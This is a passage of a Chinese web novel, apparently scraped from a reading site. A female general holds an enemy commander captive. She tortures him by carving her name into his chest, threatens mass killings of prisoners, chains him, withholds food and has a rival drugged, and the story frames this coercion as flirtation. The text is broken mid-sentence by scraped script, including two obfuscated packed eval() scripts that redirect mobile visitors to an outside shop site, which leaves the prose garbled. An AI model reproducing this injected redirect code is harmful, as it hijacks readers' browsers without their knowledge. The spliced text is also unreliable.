小男人就是小男人啊,本以为他很特别,他连那药都能硬生生扛过去,可现在看来,他和她家里那些小侍也没什么区别。 至于他的那柄短剑,倒是个不错的珍品,可以留作纪念,是她打赢这场仗的纪念。 姜守烛站起身,从衣箱里找出一条裤子,毫不避讳地当着嬴芜荼的面换下,她将带着血手印的裤子丢到嬴芜荼的身上,冷冷地说:“明天去给我洗干净,还有地毯。”然后就吹灭了桌上的蜡烛,翻身上床,合衣而眠。 她本就没有睡意,喝了茶,就更不想睡了,只是闲着没事做。 一个时辰过去了。 嬴芜荼小心翼翼地动了动四肢,他头顶被打破的伤口都被缝起来了,胸口崩裂的伤口也用了上好的药早就不流血了,他在暖和的营帐里躺了一个时辰,恢复了不少的力气。 他将身|上的裤子拿开,慢慢从地上爬起来,借着炭盆发出微弱的光线,看到床上的女人正闭眼睡觉,随着他走近,还能听到她平稳的呼吸声。 看来是睡熟了。 真是天赐良机! 嬴芜荼看到自己的短剑就放在桌上,他猫着腰,蹑手蹑脚去桌前拿起刀,小心翼翼拔刀出鞘。 上品的刀出鞘都带着一阵细碎的嗡鸣,嬴芜荼紧张得连呼吸都屏住了。 他心里冷笑,怪就怪你放松大意,以为我伤得动弹不了。 果然,老虎也有打盹的时候。 现在,所有的账,就一起算! 今晚和十四岁那晚,没什么不同! 嬴芜荼双手握住了刀柄,他站在床前,高高举起了刀…… 就在这时,姜守烛睁开了双眼。 嬴芜荼被吓得手中的刀都握不住了,刀就这样掉在了床上,他在朦胧的光线中,面对着那双鹰眼一般的目光,他磕磕巴巴地说:“我……我见你被子掉地上……想帮你……” 这借口太尴尬了,连他自己都编不下去了。 如果她睡着不备,他还能有趁机捅刀的机会,可她根本就没睡。 果然又是在耍人! “哦?是吗?”姜守烛捡起床上的刀,往床榻里侧挪了挪,笑着说:“正好冷了,上来给我暖床。” “我……我身上脏。”嬴芜荼被吓得想逃,他怪自己没用,怎么就被她一个眼神吓得握不住刀了,刚才就该一刀刺下去才对! 可她既然醒着,他那一刀就绝对刺不中了。 她是什么人?根本打不过她。 “少废话,衣服脱了上来。”姜守烛拍了拍身侧的位置。 她的指腹摩挲着刀刃,这柄短刀十分锋利。 本来她都以为小兔子就这样顺从了,她都失去兴趣了,没想到他转眼又来张牙舞爪地咬人,她顿时又生起了一股想要驯服的冲动。 这种驯服,不单单是以别人性命要挟那种,那多没意思。 所以,如果把一只呲牙的狼驯成小狗,该是什么感觉呢? 姜守烛还没试过。 可以试试。 8. 标记 嬴芜荼的心跳得几乎都要撞碎胸腔,他站在床前,像是石化了。 “我耐心有限。”姜守烛下了最后的通牒。 嬴芜荼慢吞吞地将身上仅剩的那点衣服脱下,赤条条地往床上爬去…… 他的动作也很慢,他在害怕。 他没法不怕。 姜守烛见他磨磨蹭蹭的,她这回也不恼,就像是坐在锅边等待上菜的食客。 终究是她的盘中餐,永远都逃不了。 即使嬴芜荼将动作放到最慢,也终究还是有尽头的时候。 他挪上床,却不敢躺下,双手抱着前胸,缩成一团。 姜守烛这回坐起来了,她伸手轻轻一推,嬴芜荼就躺平了。 看着硬邦邦的,竟然还挺容易推倒的。 “别……”嬴芜荼喘|息着说。 姜守烛就当做没听到,她翻身就骑了上来。 嬴芜荼紧张得闭上眼。 终究还是要发生了吗? 姜守烛叹了一句:“小腰看着细,还挺硬的。” 嬴芜荼微微摇头,他不想听,他害怕,他想逃。 但是连人都被她压在身下了,还能逃到哪里去。 “你在怕什么?你觉得接下来会发生什么事?”姜守烛故意用玩味的语气逗他,同时用指|尖抵在他高耸的鼻梁上,顺着弧度往下滑。 嬴芜荼咬住了下唇,因为他连红唇都在发|抖。 好在天色快亮了,好在营帐里的细炭还在燃烧,这点光线,足够让姜守烛将他这副娇羞模样一览无余。 “你说,你要是继续躺在地上,我就不会发现你已经能动了,接下来的事也就不会发生,所以这一切,是不是都是你咎由自取?”姜守烛的指|尖已经摸到了,她笑得更开心了几分。 嬴芜荼今晚本就折腾得半死不活,现在又被她吓得个半死,乍一听她的话,好像有几分道理,但他转念就想明白了,这又是她的强词夺理,反正现在沦落到她的手里,她就是道理。 他红唇微启,小心翼翼地哀求着:“能不能放过我?” “不能。”姜守烛果断拒绝,她直了直身子,将那柄短刀举起来,问:“你刚才是不是想杀了我?” 嬴芜荼不敢回答,他又死死地咬住了下唇,两颗小兔牙深深地印在了唇上,仿佛要将红唇咬穿。 “不吭声?我就喜欢你倔强又不听话这副模样,你想杀我又如何?你永远都杀不了我,可你今晚又敢呲牙咬人,所以得给你一个小小的惩罚。” “不要,你别迁怒不相干的人,你想对我做什么就做吧,我不会反抗的……” 嬴芜荼其实也反抗不了,他现在浑身都疼得厉害。 “等你的伤再痊愈一点,再做那事也不急,我现在要在你的胸口刻一个字,别乱动哦,如果刻歪一笔,我就杀一千个俘虏。以前听说一字千金,现在有一笔千人,嬴芜荼,她们能不能活到天亮,就看你能不能忍住了。” 嬴芜荼心里委屈,他心里大骂这个坏女人,这个姜守烛简直一肚子坏水,竟然连这样卑鄙的手段都能想出来,不就是为了侮辱他吗? 可她真的什么事都做得出来的,他想起惨死的姚副将,如果他乖乖配合不乱动,就能让俘虏们活下来,那他愿意配合。 但这也不是长久之际,一直被她要挟着,到底如何才能救下所有人呢? 嬴芜荼现在根本想不到那么远的事了,因为他已经被刻下了第一笔。 这柄短剑锋利无比,轻轻一划就能留下一道痕迹。 血迹甚至都没流出来,就像是上好的朱砂颜料在肌肤上留下一笔。 “还真没动?”姜守烛已经写完了两笔,因为营帐里光线不强,她趴得很低,也离得很近,甚至还能感受到胸膛上传来的心跳起伏,“就那么怕连累她们?” 嬴芜荼的下唇已经被咬出血了,但是他连说话都不敢,甚至连喘气都放到最微乎其微的程度,他能忍住疼,但他怕自己不小心动了,就有一千人无辜死了。 “可是她们对你拳打脚踢,把你都打破相了,我要是你,就故意动一下,借她人之手为自己报仇,她们就算死了,骂的也是心狠手辣的我,而不是你。”姜守烛已经写完了四笔,她故意继续逗嬴芜荼玩。 嬴芜荼还是不吭声。 就在姜守烛准备写第五笔时…… “咕咕”一声传来,是嬴芜荼的肚子叫了。 他饿了。 姜守烛笑了一声,她没继续写下去。 而嬴芜荼见压着自己的人突然坐直,吓得眼睛都瞪大了,他磕磕巴巴地说:“我、我没动,不会歪的!” 只是肚子叫了而已,要动只是身体里面动了,外面可没有! 姜守烛双眼笑得都弯起来了,逗小兔子也太有趣了。 “放心,但是你饿了,你要是喘一声,等天亮了,我就给你点吃的。” 驯马、驯狗、驯狼都是,不能光驯不给食物,做得好还要给一点奖励,这样才能驯好。 当姜守烛写完第五笔,她没有如愿听到她想听到的,她有些不快。 明明梦里的小兔子喘得那么好听,验身时也喘得那么大声,现在又烈性上了? “你要是没饭吃,那明天她们也没饭吃,看看你们谁先饿死。” “嗯……” 随着下一笔,嬴芜荼喘|息了一声,细碎的呻|吟声像是融入了床角的细炭,一起燃烧。 姜守烛勾唇一笑,果然还是得威逼加利诱,当她写完最后一笔时,她也有点热了。 可能是营帐里的炭盆太多了吧。 “好了,现在来猜猜,我刻了一个什么字。” 姜守烛心满意足地欣赏着自己的“墨宝”,每一笔都写得很好看,又没有流血下来,真是不错。 她欣赏之余,看到刀刃上还残存着一丝血迹,她伸手在嬴芜荼的脸颊上蹭了一下,这下刀刃擦干净了。 她收刀回鞘。 可嬴芜荼的脸颊又染上了一朵红晕。 不光是因为擦刀的血迹。 “快猜!”姜守烛催促道。 嬴芜荼这上哪里去猜,于是他偷偷抬头,想要偷看一眼。 姜守烛也没阻拦他的动作。 嬴芜荼看到了,他的脑袋重重摔回枕头上,他绝望了。 虽然现在身子还没有被这个坏女人占有,但已经被她标记了。 因为他胸口的那个字是——姜。 姜守烛十分满足,她一翻身躺下,将短剑也压在枕头下,她手臂还搂着嬴芜荼的细腰。 “不许乱动。” 天都快亮了。 姜守烛好像真的睡着了。 嬴芜荼心里更恨了,他感觉胸口更疼了,不光是自杀时自己捅的那刀,还有被坏女人刺的字。 这回真的不干净了。 还被坏女人搂在怀里。 好想杀了她! 想咬住她的喉咙,将她咬死。 想用枕头捂住她的脸,将她闷死。 到底怎么样才能杀了她! 嬴芜荼狠狠地瞪着她,可惜,眼神是杀不死人的。 天亮了。 今日的阳光很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好,妍副将进营帐里送早餐和洗漱的水时,就看到床榻上这一幕。 看到将军搂着敌军主将,睡得香甜。 妍副将眉头皱了一下,将食盒等东西都放下,转身出去了。 姜守烛也睁开眼睛,戎马生涯让她永远都不会睡熟,即使做梦,也就能梦个三分,还有七分是清醒的。 姜守烛伸个懒腰,从床上坐起来,然后看向…… 这个躺在身侧,气鼓鼓的小兔子。 不是,她不是睡了一会儿吗?好像也没对他做什么吧?怎么气成这样? 别给活活气死了。 “不就是给你刺了个字?还是做梦梦到我了?”姜守烛毫不客气地伸手在他胸前那个“姜”字上摸了一把,调笑道。 嬴芜荼深吸一口气,他想骂人,但他不敢,于是他又咬着下唇不吭声。 他的下唇都咬破了,连带着破皮的嘴角,全都结了血痂,一咬更疼了。 “起来,我都起床了你还敢躺着,能动了就去把我的裤子和地毯洗了,别以为我睡了一觉就忘了。”姜守烛一边洗漱一边催促着他。 嬴芜荼费力地爬起来,一夜过去,身上的大伤小伤还是很严重,但也没到动不了的程度,他捡起地上染血的衣服,刚准备往身上穿…… “穿那个。”姜守烛嘴里还嚼着肉条,她指了一下门口的方向,这是妍副将刚才顺路拿进来的。 嬴芜荼慢吞吞地挪着脚步走过去,看到那件男装,他认出来了。 “这是五殿下的衣服?” 说谁谁到。 此时五皇子嬴小舞在营帐外大喊:“姜姐姐,她们早餐不给我肉吃,求姜姐姐为我做主呀。” 这撒娇的声音是和撒娇的人一起进来的。 妍副将也没真的拦着,毕竟她看到将军和这敌国五皇子态度暧昧,昨夜就给五皇子喝肉汤来着,所以她就假模假样地拦了一下,让五皇子直接闯进去了。 嬴小舞才一进来,就愣住了,他看到营帐门里这位是…… “嬴……嬴主将你?你怎么是个男的?你怎么在这里,还穿着我的衣服啊!” 嬴小舞震惊地看着嬴芜荼,又转头委屈地看向姜守烛。 仿佛比起嬴芜荼是男子这事,他更震惊的是——嬴芜荼为什么在姜守烛在营帐里!她们昨晚做什么了! “我说姜姐姐怎么管我要那药,我说昨夜我那么哀求姜姐姐都不肯留下来,原来是你勾引走了姜姐姐!你男扮女装混进军营是不是就是为了勾引女人?” 嬴芜荼哑口无言,面对他曾经以命保护的殿下,他连解释的力气都没有了。 昨夜,那坏女人说他男扮女装混进军营是不是为了一腔抱负,可他自己国度的殿下却说他此举是为了勾引女人。 他还能说什么呢? 嬴小舞见他不说话,却更生气了,他上前一步,看到嬴芜荼胸口那个“姜”字,更是暴跳如雷! “你这个贱吊子!故意在身上刻字向姜姐姐表忠心是吧!”嬴小舞噔噔噔跑到姜守烛的面前,掐着腰一脸不服气地争宠道:“我也要刻字!” 嬴芜荼绝望地栽坐在地,他明明刚才还能站起来,但现在连最后的力气都没有了。 他的身上脸上,到处都是大大小小的伤痕,可是五殿下一眼却只能看到那个“姜”字。 昨夜因为这个字,他受了莫大的屈辱,他为了保住姐妹们的性命,忍着委屈和疼痛一下都没有动。 可现在…… 他顿时想起儿时在学堂里学的那句——“商男不知亡国恨,隔江犹唱后庭花。”(1) 9. 穿男装 “姜姐姐!”嬴小舞的手指攥着姜守烛的衣摆,一下一下晃悠着,撒娇般嗔怪道:“姜姐姐干嘛喜欢他呀?他混迹在女人堆里,怕是早就不干净了,我就不一样了,我可是干净的小男子。” 说完,嬴小舞就眨巴着大眼睛盯着桌上的早餐咽口水,他早餐想吃肉,但是那些女人不给,只给了他一个干巴巴的饼子,于是他仗着自己有几分姿色和那些女人撒娇,但没人买他的账,他一向骄纵惯了,加上姜守烛确实交代过不要伤他,所以他就一路闯进姜守烛的营帐。 姜守烛没有看向近在咫尺的嬴小舞,她的视线一直盯着栽坐在门口的嬴芜荼。 小兔子不会被活活气死吧? 他看起来气性就很大的样子。 “姜姐姐……”嬴小舞的目光一直盯着姜守烛,却见姜姐姐眼里只有那个不女不男的嬴芜荼,他心里嫉妒得要死。 “好了别闹了,阿妍,让厨房给五皇子煮点肉吃。”姜守烛朝着门口喊了一句。 嬴小舞高兴得直蹦,嘴上喊着“谢谢姜姐姐”,然后像只花蝴蝶一样飞出去了。 留下门口的嬴芜荼,像是一只丧家之犬。 他本就是丧家之犬,因为他是亡国奴,现在又亲眼看到五皇子如此向敌人谄媚,他心里的一切都崩塌了。 “坐在门口还不穿衣服,你要是冻得病死了,正好有三千人给你陪葬。”姜守烛继续饶有兴致地吃着早餐。 嬴芜荼心里疼得发紧,他低头看着地上的衣服,这是五皇子的衣物,估计是敌军在皇宫里扫荡时一并抢走的,他已经很多年没有穿过男装了,这样暴露的衣服,对于穿惯了盔甲的他来说,很是陌生。 可是如果不穿,那就没有别的衣服能穿了。 盔甲,这辈子还能穿上吗? 嬴芜荼的手掌撑着地,他的手掌也在疼,是被她的箭射伤的,他慢慢站起来,动作颤颤巍巍的,磨蹭好半天才将衣服穿好。 以至于姜守烛都将一盘早餐吃光了。 没全吃光,她留了一小小块馒头。 “转个圈我看看。”姜守烛慢慢饮着茶。 嬴芜荼不转,他站在原地,整个人十分局促,他不想穿男装,他试着讲条件:“能不能给我一件女装穿?” “别得寸进尺。”姜守烛的语气不冷不热,尽管小兔子不听话,她还是忍不住欣赏一分,小兔子的容貌生得很好看,比倾国倾城的嬴小舞还要好看。 可惜……这张脸被打得鼻青脸肿,曼妙的躯体也被打得遍体鳞伤。 嬴芜荼弯腰捡起地毯上的裤子,但是地毯拆不下来,他得去干活,省得惹她不快,又随便杀人。 “站住。”姜守烛道。 嬴芜荼转过身,他低着头,都不敢看她。 又怎么了? “自己锁上,自觉一点。”姜守烛指了指门口的角落。 嬴芜荼看过去,他倒吸一口凉气。 有必要吗? 那是一副锁脚腕的脚镣,是怕他跑了,可是那脚镣上还拴了那么大一颗铁球,看起来得有二十斤。 他现在自己走路都很费劲,再戴着这么重的脚镣,走一步该有多难。 可他没资格讨价还价,只锁住脚腕,是为了让他逃不了,没锁住手腕,是为了让他还能干活。 嬴芜荼挪着沉重的脚步走过去,将更为沉重的脚镣锁在自己的两只脚腕上,随着“咔嚓”两声,他知道这回自己更难逃了。 “这回转一圈我看看。”姜守烛欣赏着面前的身影。 嬴芜荼不回答她的话,他低着头,低声问:“我去哪里洗衣服?” 姜守烛的手指敲了敲桌子,反问道:“我说的话你没听到?” “我转不动。”嬴芜荼借口道。 他不想像一件物品那般展示给她看。 “那就走近几步。”姜守烛难得好脾气。 嬴芜荼叹了口气,他拖着脚腕上沉重的铁球,往她的方向走了三步。 每走一步都好沉重,脚腕也被磨得生疼。 这回走近了,姜守烛勾唇笑了一声。 嬴芜荼的身材修长,比一般的男子长得都高些,所以五皇子这身衣服他穿着有点小,以至于将他的腰线勒得更紧致,也更凸显出翘臀,因为下摆短了一截,让人不得不一眼看到他露出一大截的纤细脚腕,而全身上下,最显眼的,还是他的脖颈,还好五皇子这身衣服也有细带,他将脖颈一圈圈缠绕起来。 “你穿男装比穿戎装漂亮多了,就是不太合身。”姜守烛点评道。 嬴芜荼不答话,他虽然还低着头,但目光悄悄看向她的桌子。 他的肚子饿,昨晚就饿得咕咕叫,现在整个营帐里都充斥着食物的香气,甚至还有肉香。 是她刚才吃的早餐。 他很久都没有吃过肉了,嬴国衰败式微,粮草本就供给不足,又被姜守烛偷袭烧过粮仓,以至于他的军队只能吃糠咽菜。 他心里悲戚,怪自己这个主将当得实在是废物,看看人家姜家军,寒冬腊月还能吃上肉,而他带领着军队,连肚子都吃不饱。 他更觉得自己对不起姐妹们了。 “饿不饿?”姜守烛突然问道。 简直是想什么来什么。 嬴芜荼小心翼翼地抬起头,他早就饿得前胸贴后背了。 姜守烛难得看到他露出这样真心实意地卑微表情,但她觉得还不够,于是逗他道:“你要是像你们五皇子那样求求我,我就也给你一块肉吃。” 像五殿下那样吗? 攥着她的衣摆,一边跺脚一边嗲里嗲气地撒娇喊姜姐姐吗? 嬴芜荼浑身都打了一个哆嗦,他做不到。 “要不你打我一顿吧?”嬴芜荼又低下头。 姜守烛:? 莫名其妙。 她是让小兔子撒娇,话题怎么就拐到打他上去了? 莫不是小兔子昨晚被打得太重,把脑子打坏了? 还是刚才嬴小舞骂他,把他骂傻了? “那我不吃了吧。”嬴芜荼见她表情变了,他害怕又说错话惹怒她。 “你确定不想吃?” 嬴芜荼听出她的语气中带着两分威胁,他心感不妙,想起昨夜她说,要不给俘虏们饭吃,于是他试着问:“那如果我有肉吃,她们也会有吗?” “你做梦呢?”姜守烛怎么可能把肉分给那三千俘虏们吃,有肉当然是可着自己家士兵们吃。 小兔子失心疯了? “其实我不喜欢吃肉。”嬴芜荼实在做不出撒娇的事,如果像五殿下那样撒娇,能换取姐妹们全都吃到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980438|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,他咬咬牙还可以试试,但既然不能,那他就算了。 “有脾气。”姜守烛赞叹道,然后她拿起餐盘边缘那一小块馒头,抡起手臂扔到门外的雪地里,眼神示意嬴芜荼道:“这是赏你的,你别饿死了,下去吧,门外会有人带你去洗衣服。” 嬴芜荼拖着脚腕上沉重的铁球,一步一步挪了出去。 虽然今天没有下雪,但前些日子下的雪积了厚厚的一层,营帐门口被扫出了一条能过人的小道,而那块馒头落在了积雪里,从上面看,雪地里有一块小坑。 嬴芜荼一只手抱着裤子,蹲下身在雪坑附近用手刨了刨,很快找到了那块馒头。 馒头本就冷了,裹了一层雪,也更冷了。 嬴芜荼看着手里这块馒头,雪花在他的掌心里融化。 他想起小时候,姐姐还没去世时,父亲会给姐姐准备馒头蘸白糖吃,他就只能蹲在一旁眼巴巴地看着,盯着姐姐咀嚼的动作,心里想象着白面馒头得有多香,蘸了白糖又有多甜。 后来他进入军营,自己领了第一个月的军饷,就去买了馒头和白糖自己尝尝,发现那滋味,也就那样,并没有很神奇。 如今,他看着蘸了雪的冷馒头,一口吞下去了。 好凉,好噎。 但总比饿死强。 他不能饿死,要是死了,姐妹们也活不下去了。 嬴芜荼费力地站起来,妍副将在前带路。 就是他走得实在太慢了。 营帐里同一支巡逻队伍在他面前走了三个来回,他也才走了不到十步。 他想走快点,因为这周围不光是呼啸的北风,还有她人的目光。 姜家军的士兵一个个虎视眈眈地看着他。 他这身男装,加上缠颈,谁都能看出来他是男子了。 那些凝视的目光,简直比脚镣上这颗二十斤的铁球还要沉重。 全都压在他的身上。 终于,妍副将带嬴芜荼走到了厨房,她指着水缸说:“就在这儿洗。”说完便离开了。 并不需要在这里盯着,因为嬴芜荼戴着脚镣也跑不了。 地上除了水缸就只有一个木盆,嬴芜荼费力地挪到水缸边,他将裤子丢进木盆里,看着水缸上飘荡的葫芦瓢,他舀起半瓢水自己喝了。 早上就吃了那一小块馒头,好饿,喝点水垫垫肚子吧。 他喝完水,用瓢往水盆里舀水,还得干活,给坏女人洗衣服。 他突然停住了动作,他闻到身后的锅里有香味传来。 是肉香。 嬴芜荼咽了咽口水,虽然这里看起来没人盯着,但如果他敢轻举妄动,那坏女人就又有借口惩治他了,也更有借口滥杀无辜了。 他不会中计的。 他蹲在雪地里一下一下洗着她的裤子,他的手被冰凉的水冻得通红,掌心本就有伤,再被冷水一冻,更是疼得发麻。 终于洗完了,这样冷的天在外面洗衣服,跟受刑没什么区别,但他的手没什么力气,拧了半天也没能拧干,裤子还在滴水,而他忙活得扶着腰直喘。 正在此时,嬴小舞从那边堆完雪人蹦蹦跳跳跑过来,搓着冻红的双手兴奋地喊着:“我的肉是不是煮熟啦!” 嬴芜荼听到声音站直了身子,嬴小舞也正好看到了他。 10.好狗 北风吹得更呼啸了。 嬴芜荼被风雪迷了一下眼,再次睁开时,五皇子已经跳到他面前了。 从身份上来说,他们两个都是姜守烛的俘虏,都是亡国奴。 甚至都穿着一样的锦衣华服。 可是嬴小舞还是白白净净的,神态也轻松活泼,仿佛是跟随出游的骄纵小皇子。 再看嬴芜荼,他被打得连人样都没有了。 “怎么又是你?”嬴小舞嫌弃地往后退了两步,用毫不客气的眼神将嬴芜荼从上到下打量了一遍,阴阳怪气地说:“你还真敢穿我的衣服?本殿下的衣服也是你配穿的吗?给我脱下来!” 嬴芜荼抿了抿唇,他不回答,也没反应,只是蹲下身,将盆里的裤子捞出来,继续努力拧干,继续干他的活。 “竟然敢无视本殿下!” 嬴小舞大怒。 他治不了敌人,还治不了嬴芜荼吗! 嬴小舞扑上来,作势就要将嬴芜荼身上的衣服撕下来。 此时嬴芜荼被打得半死不活,对付一般女子当然不是对手,但他常年带兵打仗,体质比一般男子好上太多,面对从小娇生惯养又十指不沾阳春水的小皇子,他还是有反抗之力的。 嬴芜荼用自己被冻红的双手握住嬴小舞纤细的手腕,阻止他的胡闹。 嬴小舞大丢面子,他突然发现,嬴芜荼的右手小指以一种奇怪的姿势翘起来,他当下就想明白了,于是拽住嬴芜荼那根小指,用力一掰…… “啊……” 嬴芜荼惨叫一声,他疼得松开了手。 他的右手小指昨夜被嬴国俘虏打断了,不知道是被谁踩的,不过小指断了不影响干活,他就一直忍着,没想到此刻又被掰了。 被自己人掰的。 就连那坏女人,都没有掰他的断指。 “这回看你还怎么反抗!”嬴小舞见嬴芜荼疼得直哆嗦,他心满意足,伸手就要来剥衣裳…… “五殿下。”妍副将适时出现,她其实在旁边观察半天了,当然把一切都看在眼里。 嬴小舞见到来人,“唰”的一下跳起,他恶人先告状,指着地上还在发抖的嬴芜荼,恶狠狠地说:“是他先冒犯本殿下的,我教训一下而已,对了我的肉是不是煮好了!”说完就奔着还在沸腾的大锅而去,完全不管地上那人的死活。 嬴芜荼倒吸了半天的凉气才慢慢坐起来,这下断指的伤更严重了。 嬴小舞站在锅边,左右看了看,见妍副将没有给他盛肉的意思,他骄纵归骄纵,但只敢跟嬴芜荼使横,当然也不敢开口指使妍副将,于是自己拿了个空碗,盛出那块都没有半个巴掌大的肉,再往碗里盛了些汤,最后捧着小碗蹦蹦跳跳地走了。 嬴芜荼的眸子都红了,他是疼的。 妍副将面无表情地说:“拿上盆,将军吩咐,还有地毯要洗。” 嬴芜荼还没拧干那条裤子呢,这下手更疼了,他更没力气了,他理了理刚才被弄乱的衣服,费力地从地上爬起来,再拍拍身上的雪,将半干的裤子搭在手臂上,再两只手端着水盆,跟在妍副将的身后,慢吞吞地往回走。 脚腕上拴着的铁球在雪地里拖曳出一段痕迹。 姜守烛此时正在营帐里翻看物资清单。 嬴国皇宫里所有值钱的东西全部都入库归账,上午查的是第一批,下午还有一批。 这些小事交代给下属她们去做就行。 等东西都装上马车,就可以回京了。 姜守烛正看着账本,就听到一阵拖曳声,她知道是小兔子回来了,但她的视线还放在账本上。 嬴芜荼将水盆放在门口,看到营帐门口拉了晾衣绳,便将那条拧不干的裤子搭在绳子上,再慢吞吞地走进她的营帐。 她的营帐里真暖和,比刮着冷风的外面暖和多了。 她的营帐里,只有她一个人,没有外面那么多凝视他的目光。 而且她也没有看过来。 她正在看书吗? 嬴芜荼的右手还在发抖,断指要是能包扎一下就好了。 他不吭声,挪到那块染血的地毯旁,蹲下身,用刷子一点点刷着地毯。 “唰”的一声,是姜守烛翻过了一页账本,她依旧没有抬起头,像是自言自语一般:“你打架了?” 嬴芜荼刷地毯的动作一顿,他就知道在这里发生的所有事都不会逃过这坏女人的眼睛。 “是五殿下和我开玩笑的。”嬴芜荼说话的时候,还忍不住抽冷气。 这断指要疼到什么时候才能没感觉呢? 明明昨晚被打断的时候,疼了一会儿就没知觉了,只要不碰到就不怎么疼,可刚才被五皇子狠狠掰了一下,他疼得一直在发抖。 “你是在维护他吗?给我个理由。”姜守烛说话间,又翻过了一页账本,但她其实一个字都没看。 “不是……真的只是开玩笑。”嬴芜荼不想跟姜守烛说实话,如实说了算什么呢? 告状吗?请她为自己做主吗? 她能做什么主! 这是他们嬴国人之间的恩怨。 嬴芜荼知道,定是五皇子怪自己打了败仗,又怪自己身为男子骗了他,所以才怀恨在心的吧,就和战俘营里的那些姐妹们一样。 总之,他是不会向敌人摇尾乞怜的,尽管他已经亲眼见到五殿下向敌人摇尾乞怜了。 “开玩笑?你们的关系很亲近?”姜守烛又翻过了一页,其实这页还没写呢,是空白的,但她还是低头看着账本。 嬴芜荼只是轻轻“嗯”了一声,他不想跟敌人过多解释,他现在只想赶紧刷干净地毯上的血迹,好得一时半刻的喘息,他的手指实在太疼了。 “既然关系这么好,刚才他有把肉分给你吃吗?”姜守烛合上账册,她不装了,直接盯着嬴芜荼发问。 嬴芜荼被动地吞咽了一下,他饿得胃疼,刚才在厨房那里洗衣服,一直都能闻到锅里的肉香。 “我不爱吃肉。”嬴芜荼想起刚才的借口。 “也对,你们小男人都不爱吃肉,为了保持苗条的身材嘛,我家里那些小侍就是这样,那这事说起来,你比五皇子贤惠懂事多了。”姜守烛说。 嬴芜荼手里的刷子掉下去,在地毯上弹了一下,他听着这话,心里觉得怪,但又一时说不上来怪在哪里。 他不想自己被拿去和五皇子甚至是她的小侍做比较。 他有一份心气。 但他沦落至此,谈不了心气,只能捡起刷子,忍着手疼继续努力地刷地毯。 终于快要刷完了。 就是……坏女人盯着看什么? 又有什么坏主意? “咣当”一声,一个物件落在嬴芜荼的身边不远处。 他抬起头去看。 是他的那柄短剑。 他没敢立刻伸手将短剑捡起来,而是奇怪地看向姜守烛。 “这本就是你的佩剑,先物归原主。”姜守烛的眼里带着笑意。 嬴芜荼觉得她笑得很渗人,她又要干什么! 不管怎么说,这可是她主动还回来的,他立刻挪着沉重的脚步过去,将短剑捡起来,他的右手还在颤抖着,此刻的心情也是激动的,他拔出了剑,看到剑刃完好无损。 正是他那把剑。 他的眼睛都亮了。 姜守烛将他的一举一动都看在眼里,她第一次见到一个男子的眼睛放光是为了一把剑,她之前见过的男子都只是对漂亮衣服和首饰眼睛放光。 小兔子确实与众不同。 “其实你比五皇子长得好看。”姜守烛这话说的是肺腑之言。 世人都说嬴国五皇子倾国倾城,只是因为嬴芜荼一直扮女装,故意把自己往丑里打扮,所以世人才不知道。 姜守烛知道,她将小兔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984290|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子泡在水里,又将小兔子全身上下都看遍了,她当然知道。 嬴芜荼不答话,他的手却握紧了,这女人为什么又夸他? “嘶……” 他又抽了一口凉气,手指好疼。 “小兔子,你是我的战利品,我不允许任何人弄坏你,更不允许谁剥你的衣裳,你的衣裳只能我来剥,所以我给你一个机会,自己去报仇。”姜守烛玩心又上来了,从五皇子骂嬴芜荼那一刻起,她就开始打算了。 “我不明白,我没有被欺负。”嬴芜荼还在装傻,还想替五皇子遮掩,“还有,你不是要带五皇子的活口回京吗?我不能那样做。” 他不想自己人打自己人。 “还替我打算上了?用不着。还是说你怕他又掰你的手指吗?放心,他现在睡得很死,再也不会掰你的手指了,而且他也不会知道是你做的。虽然我要带五皇子回京,但是三千里路回京城,这细皮嫩肉的小皇子要是磕了碰了,也是常理之中,我也不会当回事。” 厨房给五皇子单独煮了一块肉不是为了开小灶,是因为这块肉里单独下了迷药。 这药能让人昏睡一个时辰。 五皇子盛了肉,回到营帐里迫不及待就吃了,现在早就昏迷了。 姜守烛挥了挥手,妍副将站在营帐门口,一副带路的架势。 嬴芜荼知道自己不去也得去了。 他握着自己的短剑,最后站在她的营帐门口,像是被钉在这里。 “小兔子,如果你没能带回我想看到的,今晚就有你好受的。”姜守烛说完一挥手。 妍副将推了一下嬴芜荼的肩,催促着人快走。 【今晚有你好受的。】 嬴芜荼被她这句威胁吓得打了个哆嗦,这坏女人有得是欺负人的手段,他胸口的那个字还没结痂呢。 可他怎么会对自己人挥刀相向? 坏女人想看自相残杀,他是不会让她如愿的。 至于今晚会面对什么…… 嬴芜荼想不出来,他也没得选。 外面的雪又开始下了。 还在嬴国皇宫清点宝物的士兵加快动作,争取在天黑之前将东西全部装上马车,这样大军明天就可以返程了。 姜守烛披着狐裘大氅站在营帐门口,她听着耳边不断传来的滴滴答答声,视线顺着声音看过去。 原来是她的那条裤子。 裤脚上的血手印已经洗干净了。 小兔子这个废物男人,一点都不贤惠,洗个裤子都拧不干,这寒冬腊月挂在外面…… 等等,小兔子还挺聪明的,把这条拧不干的裤子挂在火盆上方,下面有火烤着,裤子也不会冻成两条棍。 怪不得还在滴答水。 姜守烛勾唇一笑,她想着小兔子一会儿会带什么消息回来。 其实她安排了妍副将盯着,她只是为了试探,可不能真的伤了陛下钦点的五皇子。 要不然她没法交差了。 